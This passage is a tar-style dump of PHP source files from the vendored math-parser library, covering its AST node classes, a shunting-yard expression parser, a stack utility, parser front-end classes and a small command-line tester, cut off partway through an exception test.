/** * Implementing the Visitable interface. */ public function accept(Visitor $visitor) { return $visitor->visitFunctionNode($this); } /** Implementing the compareTo abstract method. */ public function compareTo($other) { if ($other === null) { return false; } if (!($other instanceof FunctionNode)) { return false; } $thisOperand = $this->getOperand(); $otherOperand = $other->getOperand(); return $this->getName() == $other->getName() && $thisOperand->compareTo($otherOperand); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/ExpressionNode.php000064400000014071147600365160026370 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing\Nodes; use MathParser\Interpreting\Visitors\Visitor; use MathParser\Exceptions\UnknownOperatorException; use MathParser\Parsing\Nodes\Traits\Sanitize; /** * AST node representing a binary operator */ class ExpressionNode extends Node { use Sanitize; /** * Node $left Left operand */ private $left; /** string $operator Operator, e.g. '+', '-', '*', '/' or '^' **/ private $operator; /** Node $right Right operand **/ private $right; /** int $precedence Precedence. Operators with higher prcedence bind harder **/ private $precedence; /** LEFT_ASSOC | RIGHT_ASSOC $associativity Associativity of operator. **/ private $associativity; /** integer constant representing left associatve operators */ const LEFT_ASSOC = 1; /** integer constant representing left associatve operators */ const RIGHT_ASSOC = 2; /** * Constructor * * Construct a binary operator node from (one or) two operands and an operator. * * For convenience, the constructor accept int or float as operands, automatically * converting these to NumberNodes * * ###Example * * ~~~{.php} * $node = new ExpressionNode(1,'+',2); * ~~~ * * @param Node|null|int|float $left First operand * @param string $operator Name of operator * @param Node|null|int|float $right Second operand * */ function __construct($left, $operator = null, $right = null) { $this->left = $this->sanitize($left); $this->operator = $operator; $this->right = $this->sanitize($right); switch($operator) { case '+': $this->precedence = 10; $this->associativity = self::LEFT_ASSOC; break; case '-': $this->precedence = 10; $this->associativity = self::LEFT_ASSOC; break; case '*': $this->precedence = 20; $this->associativity = self::LEFT_ASSOC; break; case '/': $this->precedence = 20; $this->associativity = self::LEFT_ASSOC; break; case '~': $this->precedence = 25; $this->associativity = self::LEFT_ASSOC; break; case '^': $this->precedence = 30; $this->associativity = self::RIGHT_ASSOC; break; default: throw new UnknownOperatorException($operator); } } /** * Return the first (left) operand. * * @retval Node|null */ public function getLeft() { return $this->left; } /** * Set the left operand. * * @retval void */ public function setLeft($operand) { $this->left = $operand; } /** * Return the operator. * * @retval string */ public function getOperator() { return $this->operator; } /** * Set the operator. * * @retval void */ public function setOperator($operator) { $this->operator = $operator; } /** * Return the second (right) operand. * * @retval Node|null */ public function getRight() { return $this->right; } /** * Set the right operand. * * @retval void */ public function setRight($operand) { $this->right = $operand; } /** * Return the precedence of the ExpressionNode. * * @retval int precedence */ public function getPrecedence() { return $this->precedence; } /** * Implementing the Visitable interface. */ public function accept(Visitor $visitor) { return $visitor->visitExpressionNode($this); } /** * Returns true if the node can represent a unary operator, i.e. if * the operator is '+' or '-'- * * @retval boolean */ public function canBeUnary() { return $this->operator == '+' || $this->operator == '-' || $this->operator == '~'; } /** * Returns true if the current Node has lower precedence than the one * we compare with. * * In case of a tie, we also consider the associativity. * (Left associative operators are lower precedence in this context.) * * @param Node $other Node to compare to. * @retval boolean */ public function lowerPrecedenceThan($other) { if (!($other instanceof ExpressionNode)) return false; if ($this->getPrecedence() < $other->getPrecedence()) return true; if ($this->getPrecedence() > $other->getPrecedence()) return false; if ($this->associativity == self::LEFT_ASSOC) return true; return false; } public function strictlyLowerPrecedenceThan($other) { if (!($other instanceof ExpressionNode)) return false; if ($this->getPrecedence() < $other->getPrecedence()) return true; return false; } /** Implementing the compareTo abstract method. */ public function compareTo($other) { if ($other === null) { return false; } if (!($other instanceof ExpressionNode)) { return false; } if ($this->getOperator() != $other->getOperator()) return false; $thisLeft = $this->getLeft(); $otherLeft = $other->getLeft(); $thisRight = $this->getRight(); $otherRight = $other->getRight(); if ($thisLeft === null) { return $otherLeft === null && $thisRight->compareTo($otherRight); } if ($thisRight === null) { return $otherRight=== null && $thisLeft->compareTo($otherLeft); } return $thisLeft->compareTo($otherLeft) && $thisRight->compareTo($otherRight); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/PostfixOperatorNode.php000064400000002505147600365160027400 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing\Nodes; use MathParser\Interpreting\Visitors\Visitor; /** * AST node representing a postfix operator. Only for temporary * use in the parser. The node will be converted to a FunctionNode * when consumed by the parser. */ class PostfixOperatorNode extends Node { /** string $name Name of the postfix operator. Currently, only '!' is possible. */ private $name; /** Constructor. Create a PostfixOperatorNode with given value. */ function __construct($name) { $this->name = $name; } /** returns the name of the postfix operator */ public function getOperator() { return $this->name; } /** * Implementing the Visitable interface. */ public function accept(Visitor $visitor) { return null; } /** Implementing the compareTo abstract method. */ public function compareTo($other) { if ($other === null) { return false; } if (!($other instanceof PostfixOperatorNode)) { return false; } return $this->getOperator() == $other->getOperator(); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/RationalNode.php000064400000005056147600365160026005 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing\Nodes; use MathParser\Exceptions\DivisionByZeroException; use MathParser\Interpreting\Visitors\Visitor; /** * AST node representing a number (int or float) */ class RationalNode extends Node { /** * int $p The numerator of the represented number. */ private $p; /** * int $q The denominator of the represented number. */ private $q; /** * Constructor. Create a RationalNode with given value. */ public function __construct($p, $q, $normalize = true) { if (!is_int($p) || !is_int($q)) { throw new \UnexpectedValueException(); } if ($q == 0) { throw new DivisionByZeroException(); } $this->p = $p; $this->q = $q; if ($normalize) { $this->normalize(); } } /** * Returns the value * @retval int|float */ public function getValue() { return (1.0 * $this->p) / $this->q; } public function getNumerator() { return $this->p; } public function getDenominator() { return $this->q; } /** * Implementing the Visitable interface. */ public function accept(Visitor $visitor) { return $visitor->visitRationalNode($this); } /** * Implementing the compareTo abstract method. */ public function compareTo($other) { if ($other === null) { return false; } if ($other instanceof IntegerNode) { return $this->getDenominator() == 1 && $this->getNumerator() == $other->getValue(); } if (!($other instanceof RationalNode)) { return false; } return $this->getNumerator() == $other->getNumerator() && $this->getDenominator() == $other->getDenominator(); } private function normalize() { $a = $this->p; $b = $this->q; $sign = 1; if ($a < 0) { $sign = -$sign; } if ($b < 0) { $sign = -$sign; } while ($b != 0) { $m = $a % $b; $a = $b; $b = $m; } $gcd = $a; $this->p = $this->p / $gcd; $this->q = $this->q / $gcd; if ($this->q < 0) { $this->q = -$this->q; $this->p = -$this->p; } } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/IntegerNode.php000064400000003075147600365160025630 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing\Nodes; use MathParser\Interpreting\Visitors\Visitor; /** * AST node representing a number (int or float) */ class IntegerNode extends Node { /** int|float $value The value of the represented number. */ private $value; /** Constructor. Create a NumberNode with given value. */ function __construct($value) { $this->value = $value; if (!is_int($value)) throw new \UnexpectedValueException(); } /** * Returns the value * @retval int|float */ public function getValue() { return $this->value; } public function getNumerator() { return $this->value; } public function getDenominator() { return 1; } /** * Implementing the Visitable interface. */ public function accept(Visitor $visitor) { return $visitor->visitIntegerNode($this); } /** Implementing the compareTo abstract method. */ public function compareTo($other) { if ($other === null) { return false; } if ($other instanceof RationalNode) { return $other->getDenominator() == 1 && $this->getValue() == $other->getNumerator(); } if (!($other instanceof IntegerNode)) { return false; } return $this->getValue() == $other->getValue(); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/NumberNode.php000064400000002307147600365160025460 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing\Nodes; use MathParser\Interpreting\Visitors\Visitor; /** * AST node representing a number (int or float) */ class NumberNode extends Node { /** int|float $value The value of the represented number. */ private $value; /** Constructor. Create a NumberNode with given value. */ function __construct($value) { $this->value = $value; } /** * Returns the value * @retval int|float */ public function getValue() { return $this->value; } /** * Implementing the Visitable interface. */ public function accept(Visitor $visitor) { return $visitor->visitNumberNode($this); } /** Implementing the compareTo abstract method. */ public function compareTo($other) { if ($other === null) { return false; } if (!($other instanceof NumberNode)) { return false; } return $this->getValue() == $other->getValue(); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/ConstantNode.php000064400000002543147600365160026023 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing\Nodes; use MathParser\Interpreting\Visitors\Visitor; /** * AST node representing a known constant (e.g. pi, e) */ class ConstantNode extends Node { /** * Name of the constant, e.g. 'pi' or 'e'. * * string $value **/ private $value; /** * Constructor. * * ### Example * * ~~~{.php} * $node = new ConstantNode('pi'); * ~~~ * */ function __construct($value) { $this->value = $value; } /** * @property getName * * Returns the name of the constant * @retval string */ public function getName() { return $this->value; } /** * Implementing the Visitable interface. */ public function accept(Visitor $visitor) { return $visitor->visitConstantNode($this); } /** Implementing the compareTo abstract method. */ public function compareTo($other) { if ($other === null) { return false; } if (!($other instanceof ConstantNode)) { return false; } return $this->getName() == $other->getName(); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/SubExpressionNode.php000064400000002607147600365160027044 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing\Nodes; use MathParser\Interpreting\Visitors\Visitor; /** * AST node representing a subexpression. Only for temporary * use in the parser. */ class SubExpressionNode extends Node { /** string $value Dummy value usually '('. A temporary SubExpressionNode * is generated by the parser when encountering a parenthesized subexpression. */ private $value; /** Constructor. Create a SubExpressionNode with given value. */ function __construct($value) { $this->value = $value; } /** * Returns the value * @retval int|float */ public function getValue() { return $this->value; } public function getOperator() { return '('; } /** * Implementing the Visitable interface. */ public function accept(Visitor $visitor) { return null; } /** Implementing the compareTo abstract method. */ public function compareTo($other) { if ($other === null) { return false; } if (!($other instanceof SubExpressionNode)) { return false; } return $this->getValue() == $other->getValue(); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Nodes/Node.php000064400000017120147600365160024306 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ /** * @namespace MathParser::Parsing::Nodes * * Node classes for use in the generated abstract syntax trees (AST). */ namespace MathParser\Parsing\Nodes; use MathParser\Interpreting\ASCIIPrinter; use MathParser\Interpreting\Evaluator; use MathParser\Interpreting\Visitors\Visitable; use MathParser\Lexing\Token; use MathParser\Lexing\TokenType; /** * Abstract base class for nodes in the abstract syntax tree * generated by the Parser (and some AST transformers). * */ abstract class Node implements Visitable { const NumericInteger = 1; const NumericRational = 2; const NumericFloat = 3; /** * Node factory, creating an appropriate Node from a Token. * * Based on the provided Token, returns a TerminalNode if the * token type is PosInt, Integer, RealNumber, Identifier or Constant * otherwise returns null. * * @retval Node|null * @param Token $token Provided token */ public static function rationalFactory(Token $token) { switch ($token->getType()) { case TokenType::PosInt: case TokenType::Integer: $x = intval($token->getValue()); return new IntegerNode($x); case TokenType::RealNumber: $x = floatval(str_replace(',', '.', $token->getValue())); return new NumberNode($x); case TokenType::Identifier: return new VariableNode($token->getValue()); case TokenType::Constant: return new ConstantNode($token->getValue()); case TokenType::FunctionName: return new FunctionNode($token->getValue(), null); case TokenType::OpenParenthesis: return new SubExpressionNode($token->getValue()); case TokenType::AdditionOperator: case TokenType::SubtractionOperator: case TokenType::MultiplicationOperator: case TokenType::DivisionOperator: case TokenType::ExponentiationOperator: return new ExpressionNode(null, $token->getValue(), null); case TokenType::FactorialOperator: return new PostfixOperatorNode($token->getValue(), null); default: // echo "Node factory returning null on $token\n"; return null; } } /** * Node factory, creating an appropriate Node from a Token. * * Based on the provided Token, returns a TerminalNode if the * token type is PosInt, Integer, RealNumber, Identifier or Constant * otherwise returns null. * * @retval Node|null * @param Token $token Provided token */ public static function factory(Token $token) { switch ($token->getType()) { case TokenType::PosInt: case TokenType::Integer: $x = intval($token->getValue()); return new NumberNode($x); case TokenType::RealNumber: $x = floatval(str_replace(',', '.', $token->getValue())); return new NumberNode($x); case TokenType::Identifier: return new VariableNode($token->getValue()); case TokenType::Constant: return new ConstantNode($token->getValue()); case TokenType::FunctionName: return new FunctionNode($token->getValue(), null); case TokenType::OpenParenthesis: return new SubExpressionNode($token->getValue()); case TokenType::AdditionOperator: case TokenType::SubtractionOperator: case TokenType::MultiplicationOperator: case TokenType::DivisionOperator: case TokenType::ExponentiationOperator: return new ExpressionNode(null, $token->getValue(), null); case TokenType::FactorialOperator: return new PostfixOperatorNode($token->getValue()); default: // echo "Node factory returning null on $token\n"; return null; } } /** * Helper function, comparing two ASTs. Useful for testing * and also for some AST transformers. * * @retval boolean * @param Node|null $other Compare to this tree */ abstract public function compareTo($other); /** * Convenience function for evaluating a tree, using * the Evaluator class. * * Example usage: * * ~~~{.php} * $parser = new StdMathParser(); * $node = $parser->parse('sin(x)cos(y)'); * $functionValue = $node->evaluate( array( 'x' => 1.3, 'y' => 1.4 ) ); * ~~~ * * @retval floatval * @param array $variables key-value array of variable values */ public function evaluate($variables) { $evaluator = new Evaluator($variables); return $this->accept($evaluator); } /** * Rough estimate of the complexity of the AST. * * Gives a rough measure of the complexity of an AST. This can * be useful to choose between different simplification rules * or how to print a tree ("e^{...}" or ("\exp(...)") for example. * * More precisely, the complexity is computed as the sum of * the complexity of all nodes of the AST, and * * NumberNodes, VariableNodes and ConstantNodes have complexity 1, * FunctionNodes have complexity 5 (plus the complexity of its operand), * ExpressionNodes have complexity 1 (for `+`, `-`, `*`), 2 (for `/`), * or 8 (for `^`) * */ public function complexity() { if ($this instanceof IntegerNode || $this instanceof VariableNode || $this instanceof ConstantNode) { return 1; } elseif ($this instanceof RationalNode || $this instanceof NumberNode) { return 2; } elseif ($this instanceof FunctionNode) { return 5 + $this->getOperand()->complexity(); } elseif ($this instanceof ExpressionNode) { $operator = $this->getOperator(); $left = $this->getLeft(); $right = $this->getRight(); switch ($operator) { case '+': case '-': case '*': return 1 + $left->complexity() + (($right === null) ? 0 : $right->complexity()); case '/': return 3 + $left->complexity() + (($right === null) ? 0 : $right->complexity()); case '^': return 8 + $left->complexity() + (($right === null) ? 0 : $right->complexity()); } } // This shouldn't happen under normal circumstances return 1000; } /** * Returns true if the node is a terminal node, i.e. * a NumerNode, VariableNode or ConstantNode. * * @retval boolean * */ public function isTerminal() { if ($this instanceof NumberNode) { return true; } if ($this instanceof IntegerNode) { return true; } if ($this instanceof RationalNode) { return true; } if ($this instanceof VariableNode) { return true; } if ($this instanceof ConstantNode) { return true; } return false; } public function getOperator() { return ''; } public function __toString() { $printer = new ASCIIPrinter(); return $this->accept($printer); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Parser.php000064400000033601147600365160023607 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ /** * @namespace MathParser::Parsing * * Parser related classes */ namespace MathParser\Parsing; use MathParser\Lexing\Token; use MathParser\Lexing\TokenType; use MathParser\Lexing\TokenPrecedence; use MathParser\Lexing\TokenAssociativity; use MathParser\Parsing\Nodes\Node; use MathParser\Parsing\Nodes\ExpressionNode; use MathParser\Parsing\Nodes\NumberNode; use MathParser\Parsing\Nodes\VariableNode; use MathParser\Parsing\Nodes\FunctionNode; use MathParser\Parsing\Nodes\ConstantNode; use MathParser\Parsing\Nodes\SubExpressionNode; use MathParser\Parsing\Nodes\PostfixOperatorNode; use MathParser\Parsing\Nodes\Factories\NodeFactory; use MathParser\Parsing\Nodes\IntegerNode; use MathParser\Parsing\Nodes\RationalNode; use MathParser\Parsing\Stack; use MathParser\Exceptions\SyntaxErrorException; use MathParser\Exceptions\ParenthesisMismatchException; use MathParser\Interpreting\PrettyPrinter; /** * Mathematical expression parser, based on the shunting yard algorithm. * * Parse a token string into an abstract syntax tree (AST). * * As the parser loops over the individual tokens, two stacks are kept * up to date. One stack ($operatorStack) consists of hitherto unhandled * tokens corresponding to ''operators'' (unary and binary operators, function * applications and parenthesis) and a stack of parsed sub-expressions (the * $operandStack). * * If the current token is a terminal token (number, variable or constant), * a corresponding node is pushed onto the operandStack. * * Otherwise, the precedence of the current token is compared to the top * element(t) on the operatorStack, and as long as the current token has * lower precedence, we keep popping operators from the stack to constuct * more complicated subexpressions together with the top items on the operandStack. * * Once the token list is empty, we pop the remaining operators as above, and * if the formula was well-formed, the only thing remaining on the operandStack * is a completely parsed AST, which we return. */ class Parser { /** * Token[] list of tokens to process */ protected $tokens; /** * Stack stack of operators waiting to process */ protected $operatorStack; /** * Stack stack of operands waiting to process */ protected $operandStack; /** * NodeFactory */ protected $nodeFactory; protected $rationalFactory = false; protected $simplifyingParser = true; /** * Constructor */ public function __construct() { $this->nodeFactory = new NodeFactory(); } public function setRationalFactory($flag) { $this->rationalFactory = $flag; } public function setSimplifying($flag) { $this->simplifyingParser = $flag; } /** * Parse list of tokens * * @param array $tokens Array (Token[]) of input tokens. * @retval Node AST representing the parsed expression. */ public function parse(array $tokens) { // Filter away any whitespace $tokens = $this->filterTokens($tokens); // Insert missing implicit multiplication tokens if (static::allowImplicitMultiplication()) { $tokens = $this->parseImplicitMultiplication($tokens); } $this->tokens = $tokens; // Perform the actual parsing return $this->shuntingYard($tokens); } /** * Implementation of the shunting yard parsing algorithm * * @param array $tokens Token[] array of tokens to process * @retval Node AST of the parsed expression * @throws SyntaxErrorException * @throws ParenthesisMismatchException */ private function shuntingYard(array $tokens) { // Clear the oepratorStack $this->operatorStack = new Stack(); // Clear the operandStack. $this->operandStack = new Stack(); // Remember the last token handled, this is done to recognize unary operators. $lastNode = null; // Loop over the tokens for ($index = 0; $index < count($tokens); $index++) { $token = $tokens[$index]; // echo "current token $token\n"; // echo("operands:" . $this->operandStack . "\n"); // echo("operators: " . $this->operatorStack . "\n\n"); if ($this->rationalFactory) { $node = Node::rationalFactory($token); } else { $node = Node::factory($token); } // Handle closing parentheses if ($token->getType() == TokenType::CloseParenthesis) { $this->handleSubExpression(); } // Push terminal tokens on the operandStack elseif ($node->isTerminal()) { $this->operandStack->push($node); // Push function applications or open parentheses `(` onto the operatorStack } elseif ($node instanceof FunctionNode) { $this->operatorStack->push($node); } elseif ($node instanceof SubExpressionNode) { $this->operatorStack->push($node); // Handle the remaining operators. } elseif ($node instanceof PostfixOperatorNode) { $op = $this->operandStack->pop(); if ($op == NULL) throw new SyntaxErrorException(); $this->operandStack->push(new FunctionNode($node->getOperator(), $op)); } elseif ($node instanceof ExpressionNode) { // Check for unary minus and unary plus. $unary = $this->isUnary($node, $lastNode); if ($unary) { switch($token->getType()) { // Unary +, just ignore it case TokenType::AdditionOperator: $node = null; break; // Unary -, replace the token. case TokenType::SubtractionOperator: $node->setOperator('~'); break; } } else { // Pop operators with higher priority while ($node->lowerPrecedenceThan($this->operatorStack->peek())) { $popped = $this->operatorStack->pop(); $popped = $this->handleExpression($popped); $this->operandStack->push($popped); } } if ($node) $this->operatorStack->push($node); } // Remember the current token (if it hasn't been nulled, for example being a unary +) if ($node) $lastNode = $node; } // Pop remaining operators while (!$this->operatorStack->isEmpty()) { $node = $this->operatorStack->pop(); $node = $this->handleExpression($node); $this->operandStack->push($node); } // Stack should be empty here if ($this->operandStack->count() > 1) { throw new SyntaxErrorException(); } return $this->operandStack->pop(); } /** * Populate node with operands. * * @param Node $node * @retval Node * @throws SyntaxErrorException */ protected function handleExpression($node) { if ($node instanceof FunctionNode) throw new ParenthesisMismatchException($node->getOperator()); if ($node instanceof SubExpressionNode) throw new ParenthesisMismatchException($node->getOperator()); if (!$this->simplifyingParser) return $this->naiveHandleExpression($node); if ($node->getOperator() == '~') { $left = $this->operandStack->pop(); if ($left === null) { throw new SyntaxErrorException(); } if ($left instanceof NumberNode) { return new NumberNode(-$left->getValue()); } if ($left instanceof IntegerNode) { return new IntegerNode(-$left->getValue()); } if ($left instanceof RationalNode) { return new RationalNode(-$left->getNumerator(), $left->getDenominator()); } $node->setOperator('-'); $node->setLeft($left); return $this->nodeFactory->simplify($node); } $right = $this->operandStack->pop(); $left = $this->operandStack->pop(); if ($right === null || $left === null) { throw new SyntaxErrorException(); } $node->setLeft($left); $node->setRight($right); return $this->nodeFactory->simplify($node); } /** * Populate node with operands, without any simplification. * * @param Node $node * @retval Node * @throws SyntaxErrorException */ protected function naiveHandleExpression($node) { if ($node->getOperator() == '~') { $left = $this->operandStack->pop(); if ($left === null) { throw new SyntaxErrorException(); } $node->setOperator('-'); $node->setLeft($left); return $node; } $right = $this->operandStack->pop(); $left = $this->operandStack->pop(); if ($right === null || $left === null) { throw new SyntaxErrorException(); } $node->setLeft($left); $node->setRight($right); return $node; } /** * Remove Whitespace from the token list. * * @param array $tokens Input list of tokens * @retval Token[] */ protected function filterTokens(array $tokens) { $filteredTokens = array_filter($tokens, function (Token $t) { return $t->getType() !== TokenType::Whitespace; }); // Return the array values only, because array_filter preserves the keys return array_values($filteredTokens); } /** * Insert multiplication tokens where needed (taking care of implicit mulitplication). * * @param array $tokens Input list of tokens (Token[]) * @retval Token[] */ protected function parseImplicitMultiplication(array $tokens) { $result = []; $lastToken = null; foreach ($tokens as $token) { if (Token::canFactorsInImplicitMultiplication($lastToken, $token)) { $result[] = new Token('*', TokenType::MultiplicationOperator); } $lastToken = $token; $result[] = $token; } return $result; } /** * Determine if the parser allows implicit multiplication. Create a * subclass of Parser, overriding this function, returning false instead * to diallow implicit multiplication. * * ### Example: * * ~~~{.php} * class ParserWithoutImplicitMultiplication extends Parser { * protected static function allowImplicitMultiplication() { * return false; * } * } * * $lexer = new StdMathLexer(); * $tokens = $lexer->tokenize('2x'); * $parser = new ParserWithoutImplicitMultiplication(); * $node = $parser->parse($tokens); // Throws a SyntaxErrorException * ~~~ * @property allowImplicitMultiplication * @retval boolean */ protected static function allowImplicitMultiplication() { return true; } /** * Determine if $node is in fact a unary operator. * * If $node can be a unary operator (i.e. is a '+' or '-' node), * **and** this is the first node we parse or the previous node * was a SubExpressionNode, i.e. an opening parenthesis, or the * previous node was already a unary minus, this means that the * current node is in fact a unary '+' or '-' and we return true, * otherwise we return false. * * @param Node $node Current node * @param Node|null $lastNode Previous node handled by the Parser * @retval boolean */ protected function isUnary($node, $lastNode) { if (!($node->canBeUnary())) return false; // Unary if it is the first token if ($this->operatorStack->isEmpty() && $this->operandStack->isEmpty()) return true; // or if the previous token was '(' if ($lastNode instanceof SubExpressionNode) return true; // or last node was already a unary minus if ($lastNode instanceof ExpressionNode && $lastNode->getOperator() == '~') return true; return false; } /** Handle a closing parenthesis, popping operators off the * operator stack until we find a matching opening parenthesis. * * @throws ParenthesisMismatchException */ protected function handleSubExpression() { // Flag, checking for mismatching parentheses $clean = false; // Pop operators off the operatorStack until its empty, or // we find an opening parenthesis, building subexpressions // on the operandStack as we go. while ($popped = $this->operatorStack->pop()) { // ok, we have our matching opening parenthesis if ($popped instanceof SubExpressionNode) { $clean = true; break; } $node = $this->handleExpression($popped); $this->operandStack->push($node); } // Throw an error if the parenthesis couldn't be matched if (!$clean) { throw new ParenthesisMismatchException(); } // Check to see if the parenthesis pair was in fact part // of a function application. If so, create the corresponding // FunctionNode and push it onto the operandStack. $previous = $this->operatorStack->peek(); if ($previous instanceof FunctionNode) { $node = $this->operatorStack->pop(); $operand = $this->operandStack->pop(); $node->setOperand($operand); $this->operandStack->push($node); } } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/Parsing/Stack.php000064400000002450147600365160023416 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ namespace MathParser\Parsing; /** * Utility class, implementing a simple FIFO stack */ class Stack { /** mixed[] $data internal storage of data on the stack. */ protected $data = array(); /** * Push an element onto the stack. * @param mixed $element */ public function push($element) { $this->data[] = $element; } /** * Return the top element (without popping it) * @retval mixed */ public function peek() { return end($this->data); } /** * Return the top element and remove it from the stack. * @retval mixed */ public function pop() { return array_pop($this->data); } /** * Return the current number of elements in the stack. * @retval int */ public function count() { return count($this->data); } /** * Returns true if the stack is empty * * @retval boolean **/ public function isEmpty() { return $this->count() == 0; } public function __toString() { return implode(' ; ', $this->data); } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/AbstractMathParser.php000064400000003471147600365160024504 0ustar00 * @author Horse Luke * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ use MathParser\Lexing\Lexer; use MathParser\Parsing\Parser; abstract class AbstractMathParser { /** StdMathLexer $lexer instance of Lexer used for tokenizing */ protected $lexer; /** Parser $parser instance of Parsed used for the actual parsing */ protected $parser; /** Token[] $tokens list of tokens generated by the Lexer */ protected $tokens; /** Node $tree AST generated by the parser */ protected $tree; public function setSimplifying($flag) { $this->parser->setSimplifying($flag); } /** * Return Letex * @retval Lexer */ public function getLexer() { return $this->lexer; } /** * Return Parser * @retval Parser */ public function getParser() { return $this->parser; } /** * Return the token list for the last parsed expression. * @retval Token[] */ public function getTokenList() { return $this->tokens; } /** * Return the AST of the last parsed expression. * @retval Node */ public function getTree() { return $this->tree; } /** * Replace Letex */ public function replaceLexer(Lexer $lexer) { $this->lexer = $lexer; } /** * Replace Parser */ public function replaceParser(Parser $parser) { $this->parser = $parser; } abstract public function parse($text); }modules/formulas/vendor/mossadal/math-parser/src/MathParser/StdMathParser.php000064400000002710147600365160023466 0ustar00parse('2x + 2y^2/sin(x)'); * * // Do whatever you want with the parsed expression, * // for example evaluate it. * $evaluator = new Evaluator([ 'x' => 1, 'y' => 2 ]); * $value = $AST->accept($evaluator); * * // or differentiate it: * $d_dx = new Differentiator('x'); * $derivative = $AST->accept($d_dx); * $valueOfDerivative = $derivative->accept($evaluator); * ~~~ * */ class StdMathParser extends AbstractMathParser { public function __construct() { $this->lexer = new StdMathLexer(); $this->parser = new Parser(); } /** * Parse the given mathematical expression into an abstract syntax tree. * * @param string $text Input * @retval Node */ public function parse($text) { $this->tokens = $this->lexer->tokenize($text); $this->tree = $this->parser->parse($this->tokens); return $this->tree; } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/ComplexMathParser.php000064400000001551147600365160024345 0ustar00 * @copyright 2015 Frank Wikström * @license http://www.opensource.org/licenses/lgpl-license.php LGPL * */ use MathParser\Parsing\Parser; use MathParser\Lexing\ComplexLexer; class ComplexMathParser extends AbstractMathParser { public function __construct() { $this->lexer = new ComplexLexer(); $this->parser = new Parser(); $this->parser->setRationalFactory(true); } /** * Parse the given mathematical expression into an abstract syntax tree. * * @param string $text Input * @retval Node */ public function parse($text) { $this->tokens = $this->lexer->tokenize($text); $this->tree = $this->parser->parse($this->tokens); return $this->tree; } } modules/formulas/vendor/mossadal/math-parser/src/MathParser/RationalMathParser.php000064400000003010147600365160024477 0ustar00parse('2x + 2y^2/sin(x)'); * * // Do whatever you want with the parsed expression, * // for example evaluate it. * $evaluator = new Evaluator([ 'x' => 1, 'y' => 2 ]); * $value = $AST->accept($evaluator); * * // or differentiate it: * $d_dx = new Differentiator('x'); * $derivative = $AST->accept($d_dx); * $valueOfDerivative = $derivative->accept($evaluator); * ~~~ * */ class RationalMathParser extends AbstractMathParser { public function __construct() { $this->lexer = new StdMathLexer(); $this->parser = new Parser(); $this->parser->setRationalFactory(true); } /** * Parse the given mathematical expression into an abstract syntax tree. * * @param string $text Input * @retval Node */ public function parse($text) { $this->tokens = $this->lexer->tokenize($text); $this->tree = $this->parser->parse($this->tokens); return $this->tree; } } modules/formulas/vendor/mossadal/math-parser/src/Tester.php000064400000004065147600365160020152 0ustar00 tokenize($argv[1]); // // $parser = new ParserWithoutImplicitMultiplication(); // $tree = $parser->parse($tokens); // // $treeprinter = new TreePrinter(); // var_dump($tree->accept($treeprinter)); // // die(); $parser = new RationalMathParser(); $parser->setSimplifying(false); $parser->parse($argv[1]); $tokens = $parser->getTokenList(); print_r($tokens); $tree = $parser->getTree(); $treeprinter = new TreePrinter(); echo "TreePrinter: " . $tree->accept($treeprinter) . "\n"; echo "LaTeXPrinter giving "; $printer = new LaTeXPrinter(); echo $tree->accept($printer) . "\n"; echo "String conversion: $tree\n"; $ascii = new ASCIIPrinter(); echo $tree->accept($ascii) . "\n"; try { echo "Derivative: "; $differentiator = new Differentiator('x'); $derivative = $tree->accept($differentiator); var_dump($derivative->accept($treeprinter)); var_dump($derivative->accept($printer)); } catch(\Exception $e) { var_dump($e->getMessage()); } try { echo "Evaluator: "; $evaluator = new Evaluator(['x' => 1, 'y' => 1.5 ]); var_dump($tree->accept($evaluator)); } catch(\Exception $e) { var_dump($e->getMessage()); } try { echo "RationalEvaluator: "; $evaluator = new RationalEvaluator(['x' => '1/3', 'y' => -2]); var_dump($tree->accept($evaluator)); } catch(\Exception $e) { var_dump($e->getMessage()); } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Exceptions/ExceptionTest.php000064400000003435147600365160026244 0ustar00assertEquals($e->getData(), '@'); $this->assertEquals($e->getName(), '@'); } } public function testUnknownConstantException() { try { throw new UnknownConstantException('@'); } catch (UnknownConstantException $e) { $this->assertEquals($e->getData(), '@'); $this->assertEquals($e->getConstant(), '@'); } } public function testUnknownFunctionException() { try { throw new UnknownFunctionException('@'); } catch (UnknownFunctionException $e) { $this->assertEquals($e->getData(), '@'); $this->assertEquals($e->getFunction(), '@'); } } public function testUnknownOperatorException() { try { throw new UnknownOperatorException('@'); } catch (UnknownOperatorException $e) { $this->assertEquals($e->getData(), '@'); $this->assertEquals($e->getOperator(), '@'); } } public function 